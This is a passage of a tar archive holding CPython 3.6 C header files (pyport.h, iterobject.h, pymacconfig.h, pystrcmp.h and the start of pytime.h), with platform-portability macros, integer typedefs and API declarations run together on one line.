<stdlib.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_CRYPT_H #include <crypt.h> #endif /* For size_t? */ #ifdef HAVE_STDDEF_H #include <stddef.h> #endif /* CAUTION: Build setups should ensure that NDEBUG is defined on the * compiler command line when building Python in release mode; else * assert() calls won't be removed. */ #include <assert.h> #include "pyport.h" #include "pymacro.h" /* A convenient way for code to know if clang's memory sanitizer is enabled. */ #if defined(__has_feature) # if __has_feature(memory_sanitizer) # if !defined(_Py_MEMORY_SANITIZER) # define _Py_MEMORY_SANITIZER # endif # endif #endif #include "pyatomic.h" /* Debug-mode build with pymalloc implies PYMALLOC_DEBUG. * PYMALLOC_DEBUG is in error if pymalloc is not in use. */ #if defined(Py_DEBUG) && defined(WITH_PYMALLOC) && !defined(PYMALLOC_DEBUG) #define PYMALLOC_DEBUG #endif #if defined(PYMALLOC_DEBUG) && !defined(WITH_PYMALLOC) #error "PYMALLOC_DEBUG requires WITH_PYMALLOC" #endif #include "pymath.h" #include "pytime.h" #include "pymem.h" #include "object.h" #include "objimpl.h" #include "typeslots.h" #include "pyhash.h" #include "pydebug.h" #include "bytearrayobject.h" #include "bytesobject.h" #include "unicodeobject.h" #include "longobject.h" #include "longintrepr.h" #include "boolobject.h" #include "floatobject.h" #include "complexobject.h" #include "rangeobject.h" #include "memoryobject.h" #include "tupleobject.h" #include "listobject.h" #include "dictobject.h" #include "odictobject.h" #include "enumobject.h" #include "setobject.h" #include "methodobject.h" #include "moduleobject.h" #include "funcobject.h" #include "classobject.h" #include "fileobject.h" #include "pycapsule.h" #include "traceback.h" #include "sliceobject.h" #include "cellobject.h" #include "iterobject.h" #include "genobject.h" #include "descrobject.h" #include "warnings.h" #include "weakrefobject.h" #include "structseq.h" #include "namespaceobject.h" #include "codecs.h" #include "pyerrors.h" #include "pystate.h" #include "pyarena.h" #include "modsupport.h" #include "pythonrun.h" #include "pylifecycle.h" #include "ceval.h" #include "sysmodule.h" #include "osmodule.h" #include "intrcheck.h" #include "import.h" #include "abstract.h" #include "bltinmodule.h" #include "compile.h" #include "eval.h" #include "pyctype.h" #include "pystrtod.h" #include "pystrcmp.h" #include "dtoa.h" #include "fileutils.h" #include "pyfpe.h" #endif /* !Py_PYTHON_H */ python3.6m/pyport.h 0000644 00000065665 15246445047 0010234 0 ustar 00 #ifndef Py_PYPORT_H #define Py_PYPORT_H #include "pyconfig.h" /* include for defines */ #include <inttypes.h> /************************************************************************** Symbols and macros to supply platform-independent interfaces to basic C language & library operations whose spellings vary across platforms. Please try to make documentation here as clear as possible: by definition, the stuff here is trying to illuminate C's darkest corners. Config #defines referenced here: SIGNED_RIGHT_SHIFT_ZERO_FILLS Meaning: To be defined iff i>>j does not extend the sign bit when i is a signed integral type and i < 0. Used in: Py_ARITHMETIC_RIGHT_SHIFT Py_DEBUG Meaning: Extra checks compiled in for debug mode. Used in: Py_SAFE_DOWNCAST **************************************************************************/ /* typedefs for some C9X-defined synonyms for integral types. * * The names in Python are exactly the same as the C9X names, except with a * Py_ prefix. Until C9X is universally implemented, this is the only way * to ensure that Python gets reliable names that don't conflict with names * in non-Python code that are playing their own tricks to define the C9X * names. * * NOTE: don't go nuts here! Python has no use for *most* of the C9X * integral synonyms. Only define the ones we actually need. */ /* long long is required. Ensure HAVE_LONG_LONG is defined for compatibility. */ #ifndef HAVE_LONG_LONG #define HAVE_LONG_LONG 1 #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG long long /* If LLONG_MAX is defined in limits.h, use that. */ #define PY_LLONG_MIN LLONG_MIN #define PY_LLONG_MAX LLONG_MAX #define PY_ULLONG_MAX ULLONG_MAX #endif #define PY_UINT32_T uint32_t #define PY_UINT64_T uint64_t /* Signed variants of the above */ #define PY_INT32_T int32_t #define PY_INT64_T int64_t /* If PYLONG_BITS_IN_DIGIT is not defined then we'll use 30-bit digits if all the necessary integer types are available, and we're on a 64-bit platform (as determined by SIZEOF_VOID_P); otherwise we use 15-bit digits. */ #ifndef PYLONG_BITS_IN_DIGIT #if SIZEOF_VOID_P >= 8 #define PYLONG_BITS_IN_DIGIT 30 #else #define PYLONG_BITS_IN_DIGIT 15 #endif #endif /* uintptr_t is the C9X name for an unsigned integral type such that a * legitimate void* can be cast to uintptr_t and then back to void* again * without loss of information. Similarly for intptr_t, wrt a signed * integral type. */ typedef uintptr_t Py_uintptr_t; typedef intptr_t Py_intptr_t; /* Py_ssize_t is a signed integral type such that sizeof(Py_ssize_t) == * sizeof(size_t). C99 doesn't define such a thing directly (size_t is an * unsigned integral type). See PEP 353 for details. */ #ifdef HAVE_SSIZE_T typedef ssize_t Py_ssize_t; #elif SIZEOF_VOID_P == SIZEOF_SIZE_T typedef Py_intptr_t Py_ssize_t; #else # error "Python needs a typedef for Py_ssize_t in pyport.h." #endif /* Py_hash_t is the same size as a pointer. */ #define SIZEOF_PY_HASH_T SIZEOF_SIZE_T typedef Py_ssize_t Py_hash_t; /* Py_uhash_t is the unsigned equivalent needed to calculate numeric hash. */ #define SIZEOF_PY_UHASH_T SIZEOF_SIZE_T typedef size_t Py_uhash_t; /* Only used for compatibility with code that may not be PY_SSIZE_T_CLEAN. */ #ifdef PY_SSIZE_T_CLEAN typedef Py_ssize_t Py_ssize_clean_t; #else typedef int Py_ssize_clean_t; #endif /* Largest possible value of size_t. */ #define PY_SIZE_MAX SIZE_MAX /* Largest positive value of type Py_ssize_t. */ #define PY_SSIZE_T_MAX ((Py_ssize_t)(((size_t)-1)>>1)) /* Smallest negative value of type Py_ssize_t. */ #define PY_SSIZE_T_MIN (-PY_SSIZE_T_MAX-1) /* PY_FORMAT_SIZE_T is a platform-specific modifier for use in a printf * format to convert an argument with the width of a size_t or Py_ssize_t. * C99 introduced "z" for this purpose, but not all platforms support that; * e.g., MS compilers use "I" instead. * * These "high level" Python format functions interpret "z" correctly on * all platforms (Python interprets the format string itself, and does whatever * the platform C requires to convert a size_t/Py_ssize_t argument): * * PyBytes_FromFormat * PyErr_Format * PyBytes_FromFormatV * PyUnicode_FromFormatV * * Lower-level uses require that you interpolate the correct format modifier * yourself (e.g., calling printf, fprintf, sprintf, PyOS_snprintf); for * example, * * Py_ssize_t index; * fprintf(stderr, "index %" PY_FORMAT_SIZE_T "d sucks\n", index); * * That will expand to %ld, or %Id, or to something else correct for a * Py_ssize_t on the platform. */ #ifndef PY_FORMAT_SIZE_T # if SIZEOF_SIZE_T == SIZEOF_INT && !defined(__APPLE__) # define PY_FORMAT_SIZE_T "" # elif SIZEOF_SIZE_T == SIZEOF_LONG # define PY_FORMAT_SIZE_T "l" # elif defined(MS_WINDOWS) # define PY_FORMAT_SIZE_T "I" # else # error "This platform's pyconfig.h needs to define PY_FORMAT_SIZE_T" # endif #endif /* Py_LOCAL can be used instead of static to get the fastest possible calling * convention for functions that are local to a given module. * * Py_LOCAL_INLINE does the same thing, and also explicitly requests inlining, * for platforms that support that. * * If PY_LOCAL_AGGRESSIVE is defined before python.h is included, more * "aggressive" inlining/optimization is enabled for the entire module. This * may lead to code bloat, and may slow things down for those reasons. It may * also lead to errors, if the code relies on pointer aliasing. Use with * care. * * NOTE: You can only use this for functions that are entirely local to a * module; functions that are exported via method tables, callbacks, etc, * should keep using static. */ #if defined(_MSC_VER) #if defined(PY_LOCAL_AGGRESSIVE) /* enable more aggressive optimization for visual studio */ #pragma optimize("agtw", on) #endif /* ignore warnings if the compiler decides not to inline a function */ #pragma warning(disable: 4710) /* fastest possible local call under MSVC */ #define Py_LOCAL(type) static type __fastcall #define Py_LOCAL_INLINE(type) static __inline type __fastcall #elif defined(USE_INLINE) #define Py_LOCAL(type) static type #define Py_LOCAL_INLINE(type) static inline type #else #define Py_LOCAL(type) static type #define Py_LOCAL_INLINE(type) static type #endif /* Py_MEMCPY is kept for backwards compatibility, * see https://bugs.python.org/issue28126 */ #define Py_MEMCPY memcpy #include <stdlib.h> #ifdef HAVE_IEEEFP_H #include <ieeefp.h> /* needed for 'finite' declaration on some platforms */ #endif #include <math.h> /* Moved here from the math section, before extern "C" */ /******************************************** * WRAPPER FOR <time.h> and/or <sys/time.h> * ********************************************/ #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #include <time.h> #else /* !TIME_WITH_SYS_TIME */ #ifdef HAVE_SYS_TIME_H #include <sys/time.h> #else /* !HAVE_SYS_TIME_H */ #include <time.h> #endif /* !HAVE_SYS_TIME_H */ #endif /* !TIME_WITH_SYS_TIME */ /****************************** * WRAPPER FOR <sys/select.h> * ******************************/ /* NB caller must include <sys/types.h> */ #ifdef HAVE_SYS_SELECT_H #include <sys/select.h> #endif /* !HAVE_SYS_SELECT_H */ /******************************* * stat() and fstat() fiddling * *******************************/ #ifdef HAVE_SYS_STAT_H #include <sys/stat.h> #elif defined(HAVE_STAT_H) #include <stat.h> #endif #ifndef S_IFMT /* VisualAge C/C++ Failed to Define MountType Field in sys/stat.h */ #define S_IFMT 0170000 #endif #ifndef S_IFLNK /* Windows doesn't define S_IFLNK but posixmodule.c maps * IO_REPARSE_TAG_SYMLINK to S_IFLNK */ # define S_IFLNK 0120000 #endif #ifndef S_ISREG #define S_ISREG(x) (((x) & S_IFMT) == S_IFREG) #endif #ifndef S_ISDIR #define S_ISDIR(x) (((x) & S_IFMT) == S_IFDIR) #endif #ifndef S_ISCHR #define S_ISCHR(x) (((x) & S_IFMT) == S_IFCHR) #endif #ifdef __cplusplus /* Move this down here since some C++ #include's don't like to be included inside an extern "C" */ extern "C" { #endif /* Py_ARITHMETIC_RIGHT_SHIFT * C doesn't define whether a right-shift of a signed integer sign-extends * or zero-fills. Here a macro to force sign extension: * Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) * Return I >> J, forcing sign extension. Arithmetically, return the * floor of I/2**J. * Requirements: * I should have signed integer type. In the terminology of C99, this can * be either one of the five standard signed integer types (signed char, * short, int, long, long long) or an extended signed integer type. * J is an integer >= 0 and strictly less than the number of bits in the * type of I (because C doesn't define what happens for J outside that * range either). * TYPE used to specify the type of I, but is now ignored. It's been left * in for backwards compatibility with versions <= 2.6 or 3.0. * Caution: * I may be evaluated more than once. */ #ifdef SIGNED_RIGHT_SHIFT_ZERO_FILLS #define Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) \ ((I) < 0 ? -1-((-1-(I)) >> (J)) : (I) >> (J)) #else #define Py_ARITHMETIC_RIGHT_SHIFT(TYPE, I, J) ((I) >> (J)) #endif /* Py_FORCE_EXPANSION(X) * "Simply" returns its argument. However, macro expansions within the * argument are evaluated. This unfortunate trickery is needed to get * token-pasting to work as desired in some cases. */ #define Py_FORCE_EXPANSION(X) X /* Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) * Cast VALUE to type NARROW from type WIDE. In Py_DEBUG mode, this * assert-fails if any information is lost. * Caution: * VALUE may be evaluated more than once. */ #ifdef Py_DEBUG #define Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) \ (assert((WIDE)(NARROW)(VALUE) == (VALUE)), (NARROW)(VALUE)) #else #define Py_SAFE_DOWNCAST(VALUE, WIDE, NARROW) (NARROW)(VALUE) #endif /* Py_SET_ERRNO_ON_MATH_ERROR(x) * If a libm function did not set errno, but it looks like the result * overflowed or not-a-number, set errno to ERANGE or EDOM. Set errno * to 0 before calling a libm function, and invoke this macro after, * passing the function result. * Caution: * This isn't reliable. See Py_OVERFLOWED comments. * X is evaluated more than once. */ #if defined(__FreeBSD__) || defined(__OpenBSD__) || (defined(__hpux) && defined(__ia64)) #define _Py_SET_EDOM_FOR_NAN(X) if (isnan(X)) errno = EDOM; #else #define _Py_SET_EDOM_FOR_NAN(X) ; #endif #define Py_SET_ERRNO_ON_MATH_ERROR(X) \ do { \ if (errno == 0) { \ if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL) \ errno = ERANGE; \ else _Py_SET_EDOM_FOR_NAN(X) \ } \ } while(0) /* Py_SET_ERANGE_ON_OVERFLOW(x) * An alias of Py_SET_ERRNO_ON_MATH_ERROR for backward-compatibility. */ #define Py_SET_ERANGE_IF_OVERFLOW(X) Py_SET_ERRNO_ON_MATH_ERROR(X) /* Py_ADJUST_ERANGE1(x) * Py_ADJUST_ERANGE2(x, y) * Set errno to 0 before calling a libm function, and invoke one of these * macros after, passing the function result(s) (Py_ADJUST_ERANGE2 is useful * for functions returning complex results). This makes two kinds of * adjustments to errno: (A) If it looks like the platform libm set * errno=ERANGE due to underflow, clear errno. (B) If it looks like the * platform libm overflowed but didn't set errno, force errno to ERANGE. In * effect, we're trying to force a useful implementation of C89 errno * behavior. * Caution: * This isn't reliable. See Py_OVERFLOWED comments. * X and Y may be evaluated more than once. */ #define Py_ADJUST_ERANGE1(X) \ do { \ if (errno == 0) { \ if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL) \ errno = ERANGE; \ } \ else if (errno == ERANGE && (X) == 0.0) \ errno = 0; \ } while(0) #define Py_ADJUST_ERANGE2(X, Y) \ do { \ if ((X) == Py_HUGE_VAL || (X) == -Py_HUGE_VAL || \ (Y) == Py_HUGE_VAL || (Y) == -Py_HUGE_VAL) { \ if (errno == 0) \ errno = ERANGE; \ } \ else if (errno == ERANGE) \ errno = 0; \ } while(0) /* The functions _Py_dg_strtod and _Py_dg_dtoa in Python/dtoa.c (which are * required to support the short float repr introduced in Python 3.1) require * that the floating-point unit that's being used for arithmetic operations * on C doubles is set to use 53-bit precision. It also requires that the * FPU rounding mode is round-half-to-even, but that's less often an issue. * * If your FPU isn't already set to 53-bit precision/round-half-to-even, and * you want to make use of _Py_dg_strtod and _Py_dg_dtoa, then you should * * #define HAVE_PY_SET_53BIT_PRECISION 1 * * and also give appropriate definitions for the following three macros: * * _PY_SET_53BIT_PRECISION_START : store original FPU settings, and * set FPU to 53-bit precision/round-half-to-even * _PY_SET_53BIT_PRECISION_END : restore original FPU settings * _PY_SET_53BIT_PRECISION_HEADER : any variable declarations needed to * use the two macros above. * * The macros are designed to be used within a single C function: see * Python/pystrtod.c for an example of their use. */ /* get and set x87 control word for gcc/x86 */ #ifdef HAVE_GCC_ASM_FOR_X87 #define HAVE_PY_SET_53BIT_PRECISION 1 /* _Py_get/set_387controlword functions are defined in Python/pymath.c */ #define _Py_SET_53BIT_PRECISION_HEADER \ unsigned short old_387controlword, new_387controlword #define _Py_SET_53BIT_PRECISION_START \ do { \ old_387controlword = _Py_get_387controlword(); \ new_387controlword = (old_387controlword & ~0x0f00) | 0x0200; \ if (new_387controlword != old_387controlword) \ _Py_set_387controlword(new_387controlword); \ } while (0) #define _Py_SET_53BIT_PRECISION_END \ if (new_387controlword != old_387controlword) \ _Py_set_387controlword(old_387controlword) #endif /* get and set x87 control word for VisualStudio/x86 */ #if defined(_MSC_VER) && !defined(_WIN64) /* x87 not supported in 64-bit */ #define HAVE_PY_SET_53BIT_PRECISION 1 #define _Py_SET_53BIT_PRECISION_HEADER \ unsigned int old_387controlword, new_387controlword, out_387controlword /* We use the __control87_2 function to set only the x87 control word. The SSE control word is unaffected. */ #define _Py_SET_53BIT_PRECISION_START \ do { \ __control87_2(0, 0, &old_387controlword, NULL); \ new_387controlword = \ (old_387controlword & ~(_MCW_PC | _MCW_RC)) | (_PC_53 | _RC_NEAR); \ if (new_387controlword != old_387controlword) \ __control87_2(new_387controlword, _MCW_PC | _MCW_RC, \ &out_387controlword, NULL); \ } while (0) #define _Py_SET_53BIT_PRECISION_END \ do { \ if (new_387controlword != old_387controlword) \ __control87_2(old_387controlword, _MCW_PC | _MCW_RC, \ &out_387controlword, NULL); \ } while (0) #endif #ifdef HAVE_GCC_ASM_FOR_MC68881 #define HAVE_PY_SET_53BIT_PRECISION 1 #define _Py_SET_53BIT_PRECISION_HEADER \ unsigned int old_fpcr, new_fpcr #define _Py_SET_53BIT_PRECISION_START \ do { \ __asm__ ("fmove.l %%fpcr,%0" : "=g" (old_fpcr)); \ /* Set double precision / round to nearest. */ \ new_fpcr = (old_fpcr & ~0xf0) | 0x80; \ if (new_fpcr != old_fpcr) \ __asm__ volatile ("fmove.l %0,%%fpcr" : : "g" (new_fpcr)); \ } while (0) #define _Py_SET_53BIT_PRECISION_END \ do { \ if (new_fpcr != old_fpcr) \ __asm__ volatile ("fmove.l %0,%%fpcr" : : "g" (old_fpcr)); \ } while (0) #endif /* default definitions are empty */ #ifndef HAVE_PY_SET_53BIT_PRECISION #define _Py_SET_53BIT_PRECISION_HEADER #define _Py_SET_53BIT_PRECISION_START #define _Py_SET_53BIT_PRECISION_END #endif /* If we can't guarantee 53-bit precision, don't use the code in Python/dtoa.c, but fall back to standard code. This means that repr of a float will be long (17 sig digits). Realistically, there are two things that could go wrong: (1) doubles aren't IEEE 754 doubles, or (2) we're on x86 with the rounding precision set to 64-bits (extended precision), and we don't know how to change the rounding precision. */ #if !defined(DOUBLE_IS_LITTLE_ENDIAN_IEEE754) && \ !defined(DOUBLE_IS_BIG_ENDIAN_IEEE754) && \ !defined(DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754) #define PY_NO_SHORT_FLOAT_REPR #endif /* double rounding is symptomatic of use of extended precision on x86. If we're seeing double rounding, and we don't have any mechanism available for changing the FPU rounding precision, then don't use Python/dtoa.c. */ #if defined(X87_DOUBLE_ROUNDING) && !defined(HAVE_PY_SET_53BIT_PRECISION) #define PY_NO_SHORT_FLOAT_REPR #endif /* Py_DEPRECATED(version) * Declare a variable, type, or function deprecated. * Usage: * extern int old_var Py_DEPRECATED(2.3); * typedef int T1 Py_DEPRECATED(2.4); * extern int x() Py_DEPRECATED(2.5); */ #if defined(__GNUC__) && ((__GNUC__ >= 4) || \ (__GNUC__ == 3) && (__GNUC_MINOR__ >= 1)) #define Py_DEPRECATED(VERSION_UNUSED) __attribute__((__deprecated__)) #else #define Py_DEPRECATED(VERSION_UNUSED) #endif /************************************************************************** Prototypes that are missing from the standard include files on some systems (and possibly only some versions of such systems.) Please be conservative with adding new ones, document them and enclose them in platform-specific #ifdefs. **************************************************************************/ #ifdef SOLARIS /* Unchecked */ extern int gethostname(char *, int); #endif #ifdef HAVE__GETPTY #include <sys/types.h> /* we need to import mode_t */ extern char * _getpty(int *, int, mode_t, int); #endif /* On QNX 6, struct termio must be declared by including sys/termio.h if TCGETA, TCSETA, TCSETAW, or TCSETAF are used. sys/termio.h must be included before termios.h or it will generate an error. */ #if defined(HAVE_SYS_TERMIO_H) && !defined(__hpux) #include <sys/termio.h> #endif #if defined(HAVE_OPENPTY) || defined(HAVE_FORKPTY) #if !defined(HAVE_PTY_H) && !defined(HAVE_LIBUTIL_H) /* BSDI does not supply a prototype for the 'openpty' and 'forkpty' functions, even though they are included in libutil. */ #include <termios.h> extern int openpty(int *, int *, char *, struct termios *, struct winsize *); extern pid_t forkpty(int *, char *, struct termios *, struct winsize *); #endif /* !defined(HAVE_PTY_H) && !defined(HAVE_LIBUTIL_H) */ #endif /* defined(HAVE_OPENPTY) || defined(HAVE_FORKPTY) */ /* On 4.4BSD-descendants, ctype functions serves the whole range of * wchar_t character set rather than single byte code points only. * This characteristic can break some operations of string object * including str.upper() and str.split() on UTF-8 locales. This * workaround was provided by Tim Robbins of FreeBSD project. */ #ifdef __FreeBSD__ #include <osreldate.h> #if (__FreeBSD_version >= 500040 && __FreeBSD_version < 602113) || \ (__FreeBSD_version >= 700000 && __FreeBSD_version < 700054) || \ (__FreeBSD_version >= 800000 && __FreeBSD_version < 800001) # define _PY_PORT_CTYPE_UTF8_ISSUE #endif #endif #if defined(__APPLE__) # define _PY_PORT_CTYPE_UTF8_ISSUE #endif #ifdef _PY_PORT_CTYPE_UTF8_ISSUE #ifndef __cplusplus /* The workaround below is unsafe in C++ because * the <locale> defines these symbols as real functions, * with a slightly different signature. * See issue #10910 */ #include <ctype.h> #include <wctype.h> #undef isalnum #define isalnum(c) iswalnum(btowc(c)) #undef isalpha #define isalpha(c) iswalpha(btowc(c)) #undef islower #define islower(c) iswlower(btowc(c)) #undef isspace #define isspace(c) iswspace(btowc(c)) #undef isupper #define isupper(c) iswupper(btowc(c)) #undef tolower #define tolower(c) towlower(btowc(c)) #undef toupper #define toupper(c) towupper(btowc(c)) #endif #endif /* Declarations for symbol visibility. PyAPI_FUNC(type): Declares a public Python API function and return type PyAPI_DATA(type): Declares public Python data and its type PyMODINIT_FUNC: A Python module init function. If these functions are inside the Python core, they are private to the core. If in an extension module, it may be declared with external linkage depending on the platform. As a number of platforms support/require "__declspec(dllimport/dllexport)", we support a HAVE_DECLSPEC_DLL macro to save duplication. */ /* All windows ports, except cygwin, are handled in PC/pyconfig.h. Cygwin is the only other autoconf platform requiring special linkage handling and it uses __declspec(). */ #if defined(__CYGWIN__) # define HAVE_DECLSPEC_DLL #endif /* only get special linkage if built as shared or platform is Cygwin */ #if defined(Py_ENABLE_SHARED) || defined(__CYGWIN__) # if defined(HAVE_DECLSPEC_DLL) # ifdef Py_BUILD_CORE # define PyAPI_FUNC(RTYPE) __declspec(dllexport) RTYPE # define PyAPI_DATA(RTYPE) extern __declspec(dllexport) RTYPE /* module init functions inside the core need no external linkage */ /* except for Cygwin to handle embedding */ # if defined(__CYGWIN__) # define PyMODINIT_FUNC __declspec(dllexport) PyObject* # else /* __CYGWIN__ */ # define PyMODINIT_FUNC PyObject* # endif /* __CYGWIN__ */ # else /* Py_BUILD_CORE */ /* Building an extension module, or an embedded situation */ /* public Python functions and data are imported */ /* Under Cygwin, auto-import functions to prevent compilation */ /* failures similar to those described at the bottom of 4.1: */ /* http://docs.python.org/extending/windows.html#a-cookbook-approach */ # if !defined(__CYGWIN__) # define PyAPI_FUNC(RTYPE) __declspec(dllimport) RTYPE # endif /* !__CYGWIN__ */ # define PyAPI_DATA(RTYPE) extern __declspec(dllimport) RTYPE /* module init functions outside the core must be exported */ # if defined(__cplusplus) # define PyMODINIT_FUNC extern "C" __declspec(dllexport) PyObject* # else /* __cplusplus */ # define PyMODINIT_FUNC __declspec(dllexport) PyObject* # endif /* __cplusplus */ # endif /* Py_BUILD_CORE */ # endif /* HAVE_DECLSPEC */ #endif /* Py_ENABLE_SHARED */ /* If no external linkage macros defined by now, create defaults */ #ifndef PyAPI_FUNC # define PyAPI_FUNC(RTYPE) RTYPE #endif #ifndef PyAPI_DATA # define PyAPI_DATA(RTYPE) extern RTYPE #endif #ifndef PyMODINIT_FUNC # if defined(__cplusplus) # define PyMODINIT_FUNC extern "C" PyObject* # else /* __cplusplus */ # define PyMODINIT_FUNC PyObject* # endif /* __cplusplus */ #endif /* limits.h constants that may be missing */ #ifndef INT_MAX #define INT_MAX 2147483647 #endif #ifndef LONG_MAX #if SIZEOF_LONG == 4 #define LONG_MAX 0X7FFFFFFFL #elif SIZEOF_LONG == 8 #define LONG_MAX 0X7FFFFFFFFFFFFFFFL #else #error "could not set LONG_MAX in pyport.h" #endif #endif #ifndef LONG_MIN #define LONG_MIN (-LONG_MAX-1) #endif #ifndef LONG_BIT #define LONG_BIT (8 * SIZEOF_LONG) #endif #if LONG_BIT != 8 * SIZEOF_LONG /* 04-Oct-2000 LONG_BIT is apparently (mis)defined as 64 on some recent * 32-bit platforms using gcc. We try to catch that here at compile-time * rather than waiting for integer multiplication to trigger bogus * overflows. */ #error "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)." #endif #ifdef __cplusplus } #endif /* * Hide GCC attributes from compilers that don't support them. */ #if (!defined(__GNUC__) || __GNUC__ < 2 || \ (__GNUC__ == 2 && __GNUC_MINOR__ < 7) ) #define Py_GCC_ATTRIBUTE(x) #else #define Py_GCC_ATTRIBUTE(x) __attribute__(x) #endif /* * Specify alignment on compilers that support it. */ #if defined(__GNUC__) && __GNUC__ >= 3 #define Py_ALIGNED(x) __attribute__((aligned(x))) #else #define Py_ALIGNED(x) #endif /* Eliminate end-of-loop code not reached warnings from SunPro C * when using do{...}while(0) macros */ #ifdef __SUNPRO_C #pragma error_messages (off,E_END_OF_LOOP_CODE_NOT_REACHED) #endif #ifndef Py_LL #define Py_LL(x) x##LL #endif #ifndef Py_ULL #define Py_ULL(x) Py_LL(x##U) #endif #define Py_VA_COPY va_copy /* * Convenient macros to deal with endianness of the platform. WORDS_BIGENDIAN is * detected by configure and defined in pyconfig.h. The code in pyconfig.h * also takes care of Apple's universal builds. */ #ifdef WORDS_BIGENDIAN #define PY_BIG_ENDIAN 1 #define PY_LITTLE_ENDIAN 0 #else #define PY_BIG_ENDIAN 0 #define PY_LITTLE_ENDIAN 1 #endif #ifdef Py_BUILD_CORE /* * Macros to protect CRT calls against instant termination when passed an * invalid parameter (issue23524). */ #if defined _MSC_VER && _MSC_VER >= 1900 extern _invalid_parameter_handler _Py_silent_invalid_parameter_handler; #define _Py_BEGIN_SUPPRESS_IPH { _invalid_parameter_handler _Py_old_handler = \ _set_thread_local_invalid_parameter_handler(_Py_silent_invalid_parameter_handler); #define _Py_END_SUPPRESS_IPH _set_thread_local_invalid_parameter_handler(_Py_old_handler); } #else #define _Py_BEGIN_SUPPRESS_IPH #define _Py_END_SUPPRESS_IPH #endif /* _MSC_VER >= 1900 */ #endif /* Py_BUILD_CORE */ #ifdef __ANDROID__ #include <android/api-level.h> #endif #endif /* Py_PYPORT_H */ python3.6m/iterobject.h 0000644 00000001067 15246445047 0011013 0 ustar 00 #ifndef Py_ITEROBJECT_H #define Py_ITEROBJECT_H /* Iterators (the basic kind, over a sequence) */ #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PySeqIter_Type; PyAPI_DATA(PyTypeObject) PyCallIter_Type; PyAPI_DATA(PyTypeObject) PyCmpWrapper_Type; #define PySeqIter_Check(op) (Py_TYPE(op) == &PySeqIter_Type) PyAPI_FUNC(PyObject *) PySeqIter_New(PyObject *); #define PyCallIter_Check(op) (Py_TYPE(op) == &PyCallIter_Type) PyAPI_FUNC(PyObject *) PyCallIter_New(PyObject *, PyObject *); #ifdef __cplusplus } #endif #endif /* !Py_ITEROBJECT_H */ python3.6m/pymacconfig.h 0000644 00000005655 15246445047 0011167 0 ustar 00 #ifndef PYMACCONFIG_H #define PYMACCONFIG_H /* * This file moves some of the autoconf magic to compile-time * when building on MacOSX. This is needed for building 4-way * universal binaries and for 64-bit universal binaries because * the values redefined below aren't configure-time constant but * only compile-time constant in these scenarios. */ #if defined(__APPLE__) # undef SIZEOF_LONG # undef SIZEOF_PTHREAD_T # undef SIZEOF_SIZE_T # undef SIZEOF_TIME_T # undef SIZEOF_VOID_P # undef SIZEOF__BOOL # undef SIZEOF_UINTPTR_T # undef SIZEOF_PTHREAD_T # undef WORDS_BIGENDIAN # undef DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754 # undef DOUBLE_IS_BIG_ENDIAN_IEEE754 # undef DOUBLE_IS_LITTLE_ENDIAN_IEEE754 # undef HAVE_GCC_ASM_FOR_X87 # undef VA_LIST_IS_ARRAY # if defined(__LP64__) && defined(__x86_64__) # define VA_LIST_IS_ARRAY 1 # endif # undef HAVE_LARGEFILE_SUPPORT # ifndef __LP64__ # define HAVE_LARGEFILE_SUPPORT 1 # endif # undef SIZEOF_LONG # ifdef __LP64__ # define SIZEOF__BOOL 1 # define SIZEOF__BOOL 1 # define SIZEOF_LONG 8 # define SIZEOF_PTHREAD_T 8 # define SIZEOF_SIZE_T 8 # define SIZEOF_TIME_T 8 # define SIZEOF_VOID_P 8 # define SIZEOF_UINTPTR_T 8 # define SIZEOF_PTHREAD_T 8 # else # ifdef __ppc__ # define SIZEOF__BOOL 4 # else # define SIZEOF__BOOL 1 # endif # define SIZEOF_LONG 4 # define SIZEOF_PTHREAD_T 4 # define SIZEOF_SIZE_T 4 # define SIZEOF_TIME_T 4 # define SIZEOF_VOID_P 4 # define SIZEOF_UINTPTR_T 4 # define SIZEOF_PTHREAD_T 4 # endif # if defined(__LP64__) /* MacOSX 10.4 (the first release to support 64-bit code * at all) only supports 64-bit in the UNIX layer. * Therefore suppress the toolbox-glue in 64-bit mode. */ /* In 64-bit mode setpgrp always has no arguments, in 32-bit * mode that depends on the compilation environment */ # undef SETPGRP_HAVE_ARG # endif #ifdef __BIG_ENDIAN__ #define WORDS_BIGENDIAN 1 #define DOUBLE_IS_BIG_ENDIAN_IEEE754 #else #define DOUBLE_IS_LITTLE_ENDIAN_IEEE754 #endif /* __BIG_ENDIAN */ #ifdef __i386__ # define HAVE_GCC_ASM_FOR_X87 #endif /* * The definition in pyconfig.h is only valid on the OS release * where configure ran on and not necessarily for all systems where * the executable can be used on. * * Specifically: OSX 10.4 has limited supported for '%zd', while * 10.5 has full support for '%zd'. A binary built on 10.5 won't * work properly on 10.4 unless we suppress the definition * of PY_FORMAT_SIZE_T */ #undef PY_FORMAT_SIZE_T #endif /* defined(_APPLE__) */ #endif /* PYMACCONFIG_H */ python3.6m/pystrcmp.h 0000644 00000000664 15246445047 0010544 0 ustar 00 #ifndef Py_STRCMP_H #define Py_STRCMP_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(int) PyOS_mystrnicmp(const char *, const char *, Py_ssize_t); PyAPI_FUNC(int) PyOS_mystricmp(const char *, const char *); #ifdef MS_WINDOWS #define PyOS_strnicmp strnicmp #define PyOS_stricmp stricmp #else #define PyOS_strnicmp PyOS_mystrnicmp #define PyOS_stricmp PyOS_mystricmp #endif #ifdef __cplusplus } #endif #endif /* !Py_STRCMP_H */ python3.6m/pytime.h 0000644 00000016671 15246445047 0010177 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_PYTIME_H #define Py_PYTIME_H #include "pyconfig.h" /* include for defines */ #include "object.h" /************************************************************************** Symbols and macros to supply platform-independent interfaces to time related functions and constants **************************************************************************/ #ifdef __cplusplus extern "C" { #endif /* _PyTime_t: Python timestamp with subsecond precision. It can be used to store a duration, and so indirectly a date 